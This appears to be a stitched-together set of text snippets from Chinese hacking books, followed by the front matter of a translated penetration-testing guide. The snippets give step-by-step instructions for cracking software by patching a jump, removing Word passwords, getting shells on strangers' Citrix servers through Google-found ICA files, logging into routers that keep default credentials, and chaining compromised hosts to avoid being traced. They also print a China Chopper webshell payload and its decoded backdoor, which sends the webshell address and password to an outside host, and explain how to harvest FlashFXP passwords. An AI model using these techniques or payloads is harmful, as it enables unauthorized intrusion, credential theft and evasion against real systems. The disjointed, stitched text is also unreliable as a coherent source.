    {"text": "1.查壳 对软件破解来说，第一步往往是检查软件是否进行了加壳处理。 目前网上有很多可以用来查壳的软件，例如大名鼎鼎的PEiD等。 直接运行PEiD 0.93，选择需要查壳的文件，如果能够识别，会自动显示文件是采用什么方式进行加壳的。"},
    {"text": "图7-135 破解原文件 图7-136 查壳 2.脱壳 查出软件采用的加壳软件后，选择相应的脱壳软件进行脱壳。 笔者所采用的UPX脱壳软件需要进行安装，安装完成后会自动将一些与脱壳相关的操作加入文件的快捷菜单中。 需要脱壳时，选中文件，单击右键，依次选择“UPX ShellEx”→“UPX通用脱壳机”选项，软件将自动脱壳，如图7-137所示。"},
    {"text": "图7-137 脱壳 说明 有的软件可能采用多种方式加壳。 这种软件的脱壳，就需要一层一层进行。 脱壳成功后会给出一些提示，如图7-138所示。 图7-138 脱壳成功 3.反汇编 本案例使用W32Dasm进行反汇编。"},
    {"text": "W32Dasm是一款绿色的、功能非常强大的反汇编工具，最高版本为8.93，目前已经不再更新了。 一些爱好者根据需要对其进行了修改，出现了一些后续版本，本文使用的就是修改后的W32Dasm 10.0。 W32Dasm反汇编得到的源代码主要用于分析程序的一些基本信息、显示程序使用的各个寄存器段、区段、程序包含的对象及应用的函数等，如图7-139所示。 图7-139 使用W32Dasm反汇编源代码 图7-140 查找字符串 使用W32Dasm反汇编源代码后，可以查找一些字符串，这些字符串可能与注册有关。"},
    {"text": "在W32Dasm中依次选择“参考”→“串示数据参考”选项，在弹出的“W32Dasm串式参考内容清单”窗口拖动滚动条，查找“I am Sad!”字符串，如图7-140所示。"},
    {"text": "使用C32asm反汇编原文件以后，单击右键，在弹出的快捷菜单中选择“跳到”选项，在“Eip跳转对话框”中输入跳转地址“004513D2”，如图7-142所示，然后单击“确定”按钮，回到C32asm反汇编窗口。 图7-142 设置跳转地址 回到C32asm窗口，会高亮显示跳转地址代码。"},
    {"text": "图7-143 修改反汇编地址 再次选中记录“:004513D2:: 75 12 JNZ SHORT 004513E6”，单击右键，在弹出的快捷菜单中选择“汇编”选项。 如图7-144所示，直接将“JNZ SHORT 004507E6”修改为“NOP”或者“JE SHORT 004507E6”，然后保存。"},
    {"text": "未知 7.15 Word文件的加密与解密 Word是目前世界上使用最为广泛的办公文字处理软件之一，在国内有超过90％的办公用户在使用它。政府、企业及个人都喜欢用Word来处理工作和个人事务。使用Word文档时，根据不同的安全或保密等级，可以在保存文档时对文件进行加密，在需要阅读文件内容时进行解密。使用一些Word文件破解软件可以破解简单的密码，但对于复杂一点的密码就无能为力了。 本案例就Word文件的加密和解密方式进行探讨，通过本案例读者可以了解Word文件加密的相关知识，以及如何使用工具软件轻松破解加密后的Word文件。 7.15.1 加密Word文件 一般情况下，我们所说的对Word文件进行加密是指采用Word字处理软件自带的加密功能进行加密。 01 打开“安全性”选项卡 在Word文件编辑状态下，依次选择“工具”→“选项”→“安全性”选项，打开如图7-146所示的界面。 02 设置加密密码 Word文件加密常用的选项有两种，一种是打开权限，另外一种是修改权限（可以对文件进行修改）。在对Word文件进行加密时，可以根据需要设置打开权限密码和修改权限密码。设置完毕单击“确定”按钮保存设置时，需要再次确认密码，如图7-147所示。确认完毕，关闭Word文件，再次打开时就需要输入密码了。如果设置的是修改权限密码，再次打开时会提示用户需要分别输入打开权限密码和修改权限密码。 图7-146 “安全性”选项卡 图7-147 设置加密密码 说明 图7-148 选择Word加密类型 目前也有单独针对Word文件开发的加解密软件，解密这种Word文件非常困难。Word提供了多种加密算法类型，在如图7-146所示的界面单击“高级”按钮，可以在打开的窗口查看和选择不同的加密类型，如图7-148所示。Word默认的加密类型是“Office97/2000兼容”，该加密类型非常容易被破解。 如果要对Word文件进行较高等级的安全保护，建议采用其他加密类型。除了“Office97/2000兼容”加密类型外，其他加密类型均较难破解。对这些加密类型多采用暴力破解，其破解主要与字典有关。 7.15.2 破解加密的Word文件 目前网上有很多关于Word密码破解的软件，如Word Password Recovery Master无限制版、Advanced Office Password Recovery。其主要破解方式是暴力破解，破解成功后会显示原来的加密密码。如果密码相对复杂，破解时间会特别长。 Office Password Remover用于破解“Office97/2000兼容”加密类型的Word加密文件，速度非常快，通常耗时不超过1分钟。其缺点是在破解时需要访问网站http://www. rixler.com/，而且破解后不显示原来的密码。Rixler是一家从事密码恢复的软件公司，其网站还提供了许多密码恢复软件，原版Office Password Remover的下载地址为http:// www.rixler.com/download.htm。 说明 解密Word文件的方式有以下3种。 暴力破解。这是最常用的方式，通过编程将字典中的值依次输入进行尝试，一旦尝试成功，则说明该值为破解值，其破解成功与否往往取决于字典的完善程度。字典在网络安全中扮演着非常重要的角色，不断完善和更新字典是一个好习惯。 针对算法的破解。这种方式要求我们对加密算法非常熟悉，通过加密算法中的缺陷或者是针对加密算法的破解算法进行编程，然后进行自动破解。这种方法速度快，但是使用此类破解软件的技术难度较高。 另类破解。采用这类方法的破解者是天才中的天才，也就是“只有你想不到的，没有他们做不到的”。他们往往采用常人想不到的破解方式进行破解，如王晓芸教授破解MD5加密算法。 使用Office Password Remover破解加密Word文件的步骤如下。 01 打开待破解的Word文件 打开待破解的Word文件后，会出现一个提示输入密码的对话框，如图7-149所示。只有输入正确的密码才能打开该Word文件。 02 开始破解 Office Password Remover的使用很简单，启动后界面如图7-150所示。Office Password Remover汉化后称为OPRemovba_chs。依次单击“文件”→“打开”选项，选择需要破解的Word文件，选择完毕后单击“移出密码”按钮。 图7-149 打开Word加密文件 图7-15 0Office Password Remover 说明 图7-151 解密文档 （1）Office Password Remover在解密文档的过程中需要连接网络。将Word文件中的加密密钥发送到Rixler公司的网站，如图7-151所示。 （2）如果计算机安装了防火墙，一定要设置为允许Office Password Remover通过，否则无法进行破解。当然，为了确保系统的安全，一个折中的办法是破解完成后在防火墙允许程序访问列表中将该程序删除。 03 破解成功 图7-152 解密成功提示 Office Password Remover的破解效率比较高，一般在20秒内就能将加密的Word文件破解。破解成功后会弹出如图7-152所示的“这个文档已经被成功解密！”的提示框。 说明 Office Password Remover破解加密的Word文件后，会在原文件的目录下自动生成一个以“原文件 (DEMO)”方式命名的文件，如图7-153所示。在本例中，原文件为“****网站项目开发合同.doc”，破解成功后会生成“*****网站项目开发合同(DEMO).doc”文件。使用原版的Office Password Remover软件时，如果没有进行注册，则会生成部分文件信息，而不是解密全部文件。 图7-153 解密成功的DEMO文件 技巧 单击“在Microsoft Word中打开文档”选项，可以直接打开被解密的Word文件。"},
    {"text": "服务器端ICA软件：将应用程序的执行和显示逻辑分开，应用程序完全在服务器上运行，并通过标准的网络协议（TCP/IP、SPX、IPX、NETBEUI、NWLINK）将显示界面传送给客户端。 客户端设备上的ICA软件：一方面接收显示界面，另一方面向服务器发送鼠标移动和键盘击键动作信息，对服务器上的应用程序进行操作。"},
    {"text": "7.16.2 Citrix的工作方式 Citrix主要有Citrix MetaFrame和Citrix NFuse/Citrix安全网关两种工作方式。 Citrix MetaFrame有XPs、XPa及XPe共3个版本，适合在不同的环境使用。"},
    {"text": "不过在安装过程中需要注意一点：在选择客户端时只选择安装“Program Neighborhood”，不安装“Web客户端”和“Program Neighborhood Agent”，如图7-154所示。"},
    {"text": "很多Citrix服务器在配置完毕后会将ICA文件放到网上供下载使用。 也有一些Citrix服务器配置完毕后不会将ICA文件放在网上，不过用户只要获取正确的ICA文件即可进行连接。"},
    {"text": "获取ICA文件最简单、最方便的方法就是通过搜索引擎获取。 直接打开浏览器，在Google的搜索框中输入“Filetype:ica”，搜索ICA文件，搜索结果如图7-155所示。 图7-155 搜索ICA文件 03 下载ICA文件 在搜索结果中任意选择一条记录，将其指向的ICA文件保存到本地。 保存ICA文件的目的就是在本地进行查看，如图7-156所示，在ICA文件中可以看到WFClient、ApplicationServer、Route Clearing DB、EncRC5-0、Compress共5个参数。"},
    {"text": "在权限管理不严格的Citrix服务器中，如果将InitialProgram参数的值改成“cmd.exe”或“explorer.exe”，连接Citrix服务器后就可以直接调出远程服务器上的命令提示符或者资源管理器了。 04 直接打开ICA文件 Citrix Presentation Server客户端正确安装后，默认打开后缀为 .ica的文件。 也可以直接单击网页中的ICA文件链接地址，打开Citrix连接提示框。"},
    {"text": "在连接过程中会给出一些提示，如果服务器、客户端及参数相匹配，则会出现登录警告等提示信息，如图7-157所示。 图7-157 登录警告提示信息 在测试过程中，会有很多ICA文件被提示为无效的或者过时的，有的文件虽然会出现连接提示信息，但由于协议不匹配，也无法成功连接。"},
    {"text": "【Shift】+【F1】：打开本地任务列表。 【Shift】+【F2】：切换标题栏。 【Shift】+【F3】：关闭远程应用程序。 【Ctrl】+【F1】：显示Windows安全桌面，相当于本地快捷键【Ctrl】+【Alt】+【Del】。 【Ctrl】+【F2】：打开远程任务列表。 【Ctrl】+【F3】：打开远程任务管理器，相当于本地快捷键【Ctrl】+【Shift】+【Esc】。 【Alt】+【Minus】：在各个任务之间切换，相当于本地快捷键【Alt】+【Shift】+【Tab】。"},
    {"text": "在出现确定的连接后，使用快捷键【Ctrl】+【F3】打开远程任务管理器，如图7-159所示。 图7-159 打开远程计算机上的任务管理器 06 进入远程Citrix服务器 在上一步笔者进入了一台日文的Citrix服务器，很多内容看不懂，于是换了一台英文的服务器进行测试。 通过快捷键【Ctrl】+【F3】打开远程计算机上的任务管理器，然后在任务管理器中依次单击“文件”→“新建任务”→“打开”选项，在其中输入“cmd.exe”或“Explorer”，直接打开命令提示符或者资源管理器窗口。"},
    {"text": "1.修改参数失效 在下载的ICA文件中，有些时候通过修改参数InitialProgram的值即可顺利进入远程服务器。 但是，有些ICA文件在修改该值后，连接Citrix服务器时要求输入用户名和密码，在没有获取用户名和密码的情况下基本无法进入。 2.具有执行程序权限却很难提权 通过ICA文件连接，使用快捷键绕过密码验证后，虽然能够使用计算机中的资源执行部分或者全部程序，但由于权限限制，如果登录的用户没有获得administrator权限，则服务器提权成功很难。"},
    {"text": "Citrix的更多漏洞可以参考http://secunia.com/advisories/search/?search=citrix。 3.Citrix服务器的一些安全配置方法 现将Citrix服务器的安全配置方法总结如下。"},
    {"text": "建立一个组，把所有Citrix用户放到这个组里，禁止它们访问cmd.exe、ftp.exe、tftp.exe、rcp.exe、net.exe、command.com、iexplorer.exe等可能对系统有危害的程序和文件（在安全与应用的平衡之间作出选择）。"},
    {"text": "未知 7.17 从渗透扫描到路由器跳板攻击 在网络安全的学习过程中，最大的特点就是研究和实践。本案例的内容来自一个网络安全渗透项目，在这里拿出来与大家分享。 通过本案例，读者可以了解如何使用SuperScan 3.0扫描指定单个IP地址或者IP地址范围端口开放情况，扫描端口的处理思路，以及采用跳板的原则。 7.17.1 渗透准备 本案例中用到的工具软件相对较少，需要准备如下工具和实验环境。 端口扫描工具SuperScan 具备Telnet的服务器或者肉机1台 预扫描IP地址段 说明 本次渗透测试的对象是一个固定IP地址段。由于要保护客户的隐私信息，笔者只是展现了渗透中确实能够出现的场景，以及切实可行的思路，但IP地址范围等可能无法重现。 7.17.2 渗透扫描和连接测试 下面讲解渗透扫描和连接测试的步骤。 01 实施端口扫描 运行SuperScan 3.0，在IP地址“起始”和“终止”文本框中分别输入待扫描的IP地址，可以是一个IP地址，也可以是一个范围。在“扫描类型”设置区勾选“查询计算机名”和“显示主机响应”复选框，然后选中“列表中的端口”单选项。本次扫描是对一段IP地址进行全端口扫描，所以自定义扫描端口范围为1～65535。单击“开始”按钮，实施端口扫描，结果如图7-161所示。 注意 （1）在实际渗透过程中可以根据需要进行扫描，大范围扫描时不要全部扫描，否则耗时特别长。如果仅针对23端口，可以只扫描23端口。 （2）扫描可以在肉机上进行，需要特别注意的是SuperScan扫描软件不能自动保存扫描结果。 图7-161 对指定IP地址范围的主机实施全端口扫描 02 整理并测试端口扫描结果 如果扫描的IP地址不是特别多，很快就会在SuperScan中得到扫描结果。如图7-162所示，在本次扫描中，开放21端口的设备数量最多，开放23端口的设备仅有1台。直接选中开放23端口的服务器，然后单击右键，在弹出的快捷菜单中选择“Telnet登陆”选项。 图7-162 整理并测试端口扫描结果 03 Telnet登录 如果Telnet连接成功，则会出现如图7-163所示的要求输入密码和用户名的登录窗口。 说明 （1）在一般的服务器上，Telnet登录都是需要用户名和密码的，但在实际测试过程中我们发现，很多路由器和防火墙的密码默认为空，其用户名多为“admin”。 （2）如果碰到需要验证的情况，可以进行猜测，如果多次猜测错误则只能放弃。 图7-163 Telnet登录窗口 04 继续扫描和测试 重复上面的步骤继续进行扫描和测试，终于出现了一个我们比较熟悉的窗口，如图7-164所示，表示Telnet成功。到网上搜索了一下，发现“telecom”多为电信设备，一般为路由器。 图7-164 使用Telnet连接成功 7.17.3 跳板思路的测试和验证 由于路由器都提供了Telnet功能，因此可以先Telnet到路由器（或者Telnet到肉机服务器再Telnet到路由器），形成“本地→肉机→路由器→工作平台”或者“本地→路由器→肉机→工作平台”的连接线路，从而达到隐藏本地IP地址的目的，也就是搭建通常意义上的“跳板”。 01 从Telnet到跳板服务器或肉机 在telecom提示符下输入需要连接的服务器，在本例中直接输入“telnet 218. ***.***.*** 443”，连接该服务器的443端口。Telnet默认端口为23，在本例中我们对该服务器的Telnet端口进行了修改，以便隐藏。如图7-165所示，此时显示一个登录信息，该信息表明我们Telnet的服务器操作系统是Windows 2000 Server。输入用户名“Administrator”，以及该用户所对应的密码，验证成功后会出现如图7-166所示的界面。 图7-165 从路由器Telnet到肉机 图7-166 Telnet连接成功 02 验证Telnet的效果 在肉机上执行“IPconfig /all”命令可以查看其网络配置情况，如图7-167所示，表明我们通过路由器Telnet后可以在新的Telnet上执行命令。执行“netstat -n | find \"443\"”命令查看路由器和肉机的网络连接情况，如图7-168所示，验证了跳板的可行性。 说明 （1）理论上，在Telnet上可以建立N个连接，但在实际使用过程中，只要有5个以上就可以了。推荐线路为“本地→国（内）外肉机→路由器→国（内）外肉机→工作平台”。这样的线路一般很难追踪。 （2）以上思路适合于在DOS命令下执行攻击，也就是执行批处理攻击类型，尤其适合Linux下的攻击。 图7-167 在跳板上执行命令 图7-168 查看网络连接情况 7.17.4 路由器攻击和测试 接下来我们进行路由攻击和有关测试。 1.在路由器上执行命令 在telecom提示符下输入“?”获取帮助信息，如图7-169和图7-170所示。路由器有多条命令，根据这些提示输入命令并执行，在执行过程中总是报错，仅能显示一些简单的信息。由于笔者对直接在路由器上执行命令不太熟悉，因此未进行深入测试，熟悉路由器的读者可以自行测试。 图7-169 显示路由器的命令 图7-170 显示路由器的命令（续） 2.路由器提权 既然进入了路由器，那就看看如何进行提权。通过查询，还真找到一些有关路由器提升权限的漏洞，这些漏洞需要构建才能实现。由于本次渗透主要是针对跳板的测试，因此关于路由器渗透方面的问题留在以后研究。 7.17.5 加固方法 笔者认为，在路由器初始设置完毕后可以关闭23端口，或者对23端口进行限制IP地址访问的操作，同时给路由器设置一个比较复杂的用户名和密码。"},
    {"text": "”互联网上流传的很多安全工具是带有后门的，如SSH Secure Client就曾被曝留有后门（Putty汉化版被爆存在后门，可窃取管理员账号，http://os.51cto.com/art/201202/314269.htm）。"},
    {"text": "7.18.1 “中国菜刀”简介 “中国菜刀”是一款专业的网站管理软件，用途广泛，使用方便，小巧实用。 只要支持动态脚本的网站，都可以用“中国菜刀”来管理。"},
    {"text": "在本机安装ComsenzEXP（下载地址http://www.comsenz.com/downloads/install/ exp）。 在ComsenzEXP安装目录的wwwroot文件夹下新建一句话后门PHP文件。 安装WSockExpert_Cn程序。"},
    {"text": "7.18.3 分析并获取后门 分析并获取“中国菜刀”后门的操作如下。 01 新建记录 在“中国菜刀”中新建一条WebShell记录，加入一句话后门地址“http:// 127.0.0.1/1.php”，密码为“x”，如图7-171所示。"},
    {"text": "设置完成后WSockExpert_Cn开始对“中国菜刀”进行监听并获取其通信过程中的包等数据。 图7-172 配置WSockExpert_Cn抓包软件 03 使用“中国菜刀”打开WebShell 在“中国菜刀”中打开WebShell记录“http://127.0.0.1/1.php”，如图7-173所示，可以对WebShell所在的计算机进行浏览、删除、上传等操作。 图7-173 打开WebShell 04 获取数据 在WSockExpert_Cn中可以看到抓取数据包的记录，在其中选择第2条记录，如图7-174所示。"},
    {"text": "x=%24_%3Dstrrev%28edoced_46esab%29%3B%40eval%28%24_%28%24_POST%5Bz0%5D%2 9%29%3B&amp;z0=QGV2YWwoYmFzZTY0X2RlY29kZSgnYVdZb0pGOURUMDlMU1VWYkoweDVhMlVuW FNFOU1TbDdjMlYwWTI5dmEybGxLQ2RNZVd0bEp5d3hLVHRBWm1sc1pTZ25hSFIwY0RvdkwzZ DNkeTVoY0drdVkyOXRMbVJsTDBGd2FTNXdhSEEvVlhKc1BTY3VKRjlUUlZKV1JWSmJKMGhVV kZCZlNFOVRWQ2RkTGlSZlUwVlNWa1ZTV3lkU1JWRlZSVk5VWDFWU1NTZGRMaWNtVUdGemN6M G5MbXRsZVNna1gxQlBVMVFwS1R0OScpKTtAaW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCIwI ik7QHNldF90aW1lX2xpbWl0KDApO0BzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7ZWNob ygiLT58Iik7OyREPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTtpZigkR D09IiIpJEQ9ZGlybmFtZSgkX1NFUlZFUlsiUEFUSF9UUkFOU0xBVEVEIl0pOyRSPSJ7JER9X HQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJ EwpaWYoaXNfZGlyKCJ7JEx9OiIpKSRSLj0ieyRMfToiO30kUi49Ilx0IjskdT0oZnVuY3Rpb 25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpP0Bwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0Z XVpZCgpKTonJzskdXNyPSgkdSk%2FJHVbJ25hbWUnXTpAZ2V0X2N1cnJlbnRfdXNlcigpOyR SLj1waHBfdW5hbWUoKTskUi49Iih7JHVzcn0pIjtwcmludCAkUjs7ZWNobygifDwtIik7ZGl lKCk7 图7-174 查看数据包 05 对URL数据进行解包 将上面获取的数据复制到Encode中，如图7-175所示。"},
    {"text": "x=$_=strrev(edoced_46esab);@eval($_($_POST[z0]));&amp;z0=QGV2YWwoYmFzZTY0X2R lY29kZSgnYVdZb0pGOURUMDlMU1VWYkoweDVhMlVuWFNFOU1TbDdjMlYwWTI5dmEybGxLQ2R NZVd0bEp5d3hLVHRBWm1sc1pTZ25hSFIwY0RvdkwzZDNkeTVoY0drdVkyOXRMbVJsTDBGd2F TNXdhSEEvVlhKc1BTY3VKRjlUUlZKV1JWSmJKMGhVVkZCZlNFOVRWQ2RkTGlSZlUwVlNWa1Z TV3lkU1JWRlZSVk5VWDFWU1NTZGRMaWNtVUdGemN6MG5MbXRsZVNna1gxQlBVMVFwS1R0OSc pKTtAaW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCIwIik7QHNldF90aW1lX2xpbWl0KDApO0B zZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7ZWNobygiLT58Iik7OyREPWRpcm5hbWUoJF9 TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTtpZigkRD09IiIpJEQ9ZGlybmFtZSgkX1NFUlZ FUlsiUEFUSF9UUkFOU0xBVEVEIl0pOyRSPSJ7JER9XHQiO2lmKHN1YnN0cigkRCwwLDEpIT0 iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCJ7JEx9OiIpKSR SLj0ieyRMfToiO30kUi49Ilx0IjskdT0oZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2l kJykpP0Bwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKTonJzskdXNyPSgkdSk/JHV bJ25hbWUnXTpAZ2V0X2N1cnJlbnRfdXNlcigpOyRSLj1waHBfdW5hbWUoKTskUi49Iih7JHV zcn0pIjtwcmludCAkUjs7ZWNobygifDwtIik7ZGllKCk7 将解码后的“z0=”后面的数据复制到Encode的输入框中，选择“BASE64”选项，如图7-176所示，获取第1次Base64解码后的数据，具体如下，加粗的部分还存在Base64加密。 @eval(base64_decode ('aWYoJF9DT09LSUVbJ0x5a2UnXSE9MSl7c2V0Y29va2llKCdMeWt lJywxKTtAZmlsZSgnaHR0cDovL3d3dy5hcGkuY29tLmRlL0FwaS5waHA/VXJsPScuJF9TRVJ WRVJbJ0hUVFBfSE9TVCddLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddLicmUGFzcz0nLmtleSg kX1BPU1QpKTt9')); @ini_set(\"display_errors\",\"0\");@set_time_limit(0);@set_ magic_quotes_runtime(0);echo(\"->|\");;$D=dirname($_SERVER[\"SCRIPT_FILENAM E\"]);if($D==\"\")$D=dirname($_SERVER[\"PATH_TRANSLATED\"]);$R=\"{$D}\\t\";if(su bstr($D,0,1)!=\"/\"){foreach(range(\"A\",\"Z\") as $L)if(is_dir(\"{$L}:\"))$R.= \"{$L}:\";}$R.=\"\\t\";$u=(function_exists ('posix_getegid'))?@posix_getpwuid (@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_un ame();$R.=\"({$usr})\";print $R;;echo(\"|<-\");die(); 将以上代码中加粗显示的部分复制到Encode程序的输入框中，选择“BASE64”选项进行解密，如图7-177所示，获取其后门地址代码如下。"},
    {"text": "if($_COOKIE['Lyke']!=1){setcookie('Lyke',1);@file('http://www.api.com.de /Api.php?Url='.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].'&amp;Pass='.ke y($_POST));} 其中，“http://www.api.com.de/Api.php?Url='.$_SERVER['HTTP_HOST'].$_SERVER ['REQUEST_URI'].'&Pass='.key($_POST)”为后门接收地址。"},
    {"text": "图7-176 第一次Base64解码 图7-177 获取后门地址 7.18.4 小结 通过上面的分析，可以了解到“中国菜刀”留有后门，用户在使用该工具的过程中会自动将WebShell记录发送到指定网站。"},
    {"text": "参考文章 《Fireeye技术剖析中国菜刀》，http://www.freebuf.com/articles/web/11687.html 《Putty汉化版被爆存在后门可窃取管理员账号》，http://os.51cto.com/art/201202/314269.htm"},
    {"text": "未知 7.19 FlashFXP密码的获取 FlashFXP是一款FTP管理软件，用户通过FlashFXP连接FTP服务器，使用文件上传和下载等功能。FlashFXP可以将站点记录在本地，保存其连接时的账号和密码，这些配置信息会在软件的当前目录下保存。如图7-178所示，quick.dat对应于快速连接信息，Sites.dat对应于站点信息，favorite.dat对应于收藏信息，Bookmarks.dat对应于书签信息。如果在渗透中找到这些文件，可以将其下载到本地进行还原，获取其中的账号和密码，从而进一步实施渗透和控制。 图7-178 下载FlashFXP数据文件 7.19.1 修改设置 运行FlashFXP，单击“选项”菜单，如图7-179所示，勾选“在选择密码字段时展现密码”复选框。 图7-179 修改密码显示设置 7.19.2 查看并获取密码 依次单击“站点”→“站点管理器”选项，打开“站点管理器”窗口，如图7-180所示，在“快速连接”目录中选择一条记录，窗口右边会显示相关信息，将光标移动到“密码”输入框即可获取密码明文。 图7-180 获取密码 7.19.3 查看quick.dat文件 使用“记事本”程序打开quick.dat文件，如图7-181所示，其中有IP地址、端口、用户名及密码等信息，这里的密码是经过加密的。 图7-181 查看quick.dat文件 Cover"},
    {"text": "Cover 未知 版权信息 书名：【抢鲜版】-黑客秘笈——渗透测试实用指南（第3版） ISBN：978-7-115-52917-6 本书由人民邮电出版社发行数字版。版权所有，侵权必究。 您购买的人民邮电出版社电子书仅供您个人使用，未经授权，不得以任何方式复制和传播本书内容。 我们愿意相信读者具有这样的良知和觉悟，与我们共同保护知识产权。 如果购买者有侵权行为，我们可能对该用户实施包括但不限于关闭该帐号等维权措施，并可能追究法律责任。 未知 版 权 著 [美]皮特 • 基姆（Peter Kim） 译 孙 勇 徐太忠 责任编辑 张 涛 人民邮电出版社出版发行 北京市丰台区成寿寺路11号 邮编 100164 电子邮件 315@ptpress.com.cn 网址 http://www.ptpress.com.cn 读者服务热线： (010)81055410 反盗版热线： (010)81055315 未知 版权声明 Simplified Chinese language edition published by POSTS & Telecom Press Copyright ©2020. All Rights Reserved. The Hacker Playbook 3: Practical Guide To Penetration Testing，by Peter Kim, ISBN 9781980901754 Copyright ©2019 by Peter Kim. 本书中文简体版由作者授权人民邮电出版社有限公司出版。未经出版者书面许可，对本书的任何部分不得以任何方式或任何手段复制和传播。 版权所有，侵权必究。 未知 内容提要 本书是畅销图书《黑客秘笈—渗透测试实用指南》（第2版）的全新升级版，不仅对第 2版内容进行了全面更新，还补充了大量的新知识。书中涵盖大量的实际案例，力求使读者迅速理解和掌握渗透测试中的技巧，做到即学即用。 本书共分为11章，内容涵盖了攻击工具的安装和使用、网络扫描、网络漏洞利用、突破网络、物理访问攻击、规避杀毒软件检测、破解密码的相关技巧以及如何编写分析报告等。 本书适合网络安全从业人员以及对黑客技术感兴趣的爱好者阅读，还可以作为高校信息安全专业师生的参考书。"},
    {"text": "未知 前 言 这是“黑客秘笈”系列图书的第3版。除第1版和第2版介绍的一些攻击方法和技术（目前仍有效）外，本书还将介绍以下新的漏洞和攻击方法。 活动目录攻击。 Kerberos攻击。 网站攻击高级技术。 更好的横向渗透方法。 云漏洞。 快速和智能口令破解。 使用系统凭证和合法软件开展攻击。 横向移动攻击。 多种定制试验环境。 新出现网站编程语言漏洞。 物理攻击。 权限提升。 PowerShell攻击。 勒索攻击。 红队与渗透测试。 搭建红队所需的基础设施。 红队效果评估。 开发恶意软件和规避杀毒软件。 …… 除此之外，本书尝试响应读者对第1版和第2版图书提出的评论和建议，并作出了反馈。这里要强调的是，我不是职业作家，仅仅是喜欢安全技术，喜欢传播安全技术。这本书是我注入满腔热情写作的，希望您能够喜欢。 本书将深入探讨如何建立设备实验室的环境，用来检测攻击效果，同时还会介绍最新的渗透方法和技巧。本书力求通俗易懂，很多学校已经把这本书作为教科书。书中尽可能多地增加试验章节，为读者展示测试漏洞或者利用漏洞的方法。 与前两版图书相似，本书中的内容尽可能以实战为基础。本书中并不涉及理论攻击技术，主要内容来自于作者的实战技术和经验。目前网络安全已经有了很大变化，主要从渗透测试转到红队攻击模式，本书不是仅仅介绍这些变化，而是通过示例展示为什么发生这样的变化。因此本书目标分为两部分：一是了解攻击者的攻击思路，理解攻击怎样开展的；二是介绍攻击工具和技术，并详细解释。除帮助读者理解概念和展示试验过程外，本书更重要的目的在于启发读者进行独立思考和探索。与其辛苦地写简历（当然，您需要一份简历），还不如拥有一个很有影响力的Github代码库和技术博客，我认为这会胜过一份好简历。无论您是从事防御研究还是攻击研究，深入了解相关技术发展，并且与安全同行进行分享是必不可少的。 没有读过前两本书的读者，可能会产生疑问，我的经验来自于什么地方。我的工作背景包括超过12年的渗透测试/红队攻击经验，测试的对象包括大型的金融机构、大型的公用事业公司、财富500强企业和政府机构。多年来我也在多个大学传授网络安全攻击课程，在多个安全会议上做过主题发言，在多个安全杂志上发表论文，在国内各个地方授课，举办多个公开CTF比赛，并开办个人安全学校。我个人最感兴趣的项目是在南加州经营一个免费和开源安全社区LETHAL。目前，社区成员超过800人，每个月有安全主题会议和CTF比赛等多项活动，社区已经成为人们分享、学习和提高安全技能的一个神奇的平台。 一个重要提示是我同时使用商用工具和开源工具。对于每一个商用工具，我都会尽可能找到对应的开源工具。偶尔会遇到某些渗透测试人员，他们表示只使用开源工具。作为一名渗透测试人员，我觉得这种观念很难接受。“坏小子”没有仅使用开源工具的限制，因此如果要模拟“真实世界”的攻击，您需要使用任何有助于完成任务的工具。 我经常被问到，这本书面向哪些读者？这个问题很难回答，我认为安全人员都可以从这本书中学到知识。书中部分内容对于新手来说有些高深，部分内容对于有经验的黑客有些简单，还有些内容甚至可能与从事的领域无关。 声明和责任 我重申以下提示非常重要：如果未得到合法授权，不要扫描他人服务器，探测是否存在漏洞并攻击服务器。如果未得到合法授权，不要尝试本书中提到的任何攻击方法。即使不是怀着恶意目的，而只是好奇，上述行为也会为他人增添很多麻烦。目前有大量漏洞奖励项目和漏洞网站/虚拟机，可以用于学习技术和提高能力。对于有些漏洞奖励项目，超出约定范围或者攻击范围过广都会招惹麻烦。 如果您对上述提示感到困惑，那么可能是我表达得不清楚，您可以咨询律师或者联系电子前线基金会（EFF）。在技术研究和非法活动之间有一条清晰的界限。 请记住，您仅在测试系统中有权限写入程序。在Google搜索关键词“hacker jailed”（黑客监禁），您会看到大量不同的案例，比如青少年由于做了他们认为“很好玩”的事情而被判入狱多年。网络上有很多免费的平台，允许对其使用合法的技术，并且能够帮助您提高能力。 最后，我不是Windows、代码、漏洞挖掘、Linux或者其他领域的专家。如果在具体技术、工具或者进程等方面出现误差或遗漏，我会在本书的更新网站上更正相关内容。书中很多内容借鉴自其他人的安全领域研究成果，我会尽可能提供原成果的网络链接地址。"},
    {"text": "位于两个旋臂之一上的这颗行星被称为KITT-3n，其大小是地球的两倍，位于名为OI 31337的二元系统中，其恒星的大小也是地球恒星的两倍。"},
    {"text": "这是您目前的处境…… 如果您选择接受任务，任务是找到所有外部和内部漏洞，使用最新漏洞和组合漏洞开展攻击，来确定防御团队是否能够检测到或阻止攻击行为。"},
    {"text": "在这次行动中，您需要进行大量的侦察和探测，寻找外部基础设施中的弱点，采用社会工程方法欺骗雇员，进行权限提升，获取内部网络信息，在整个网络中横向移动，并最终进入KITT-3n系统和数据库。"},
    {"text": "在传统的网络测试中，我们通常会扫描漏洞，查找并攻击存在漏洞的系统或应用程序，可能会进行一些后期漏洞利用，查找域管理员并编写渗透测试报告。"},
    {"text": "如今，即使公司有漏洞管理流程、安全软件开发生命周期流程、渗透测试人员、应急响应团队/流程以及许多非常昂贵的安全工具，公司的网络仍然可能被攻陷。"},
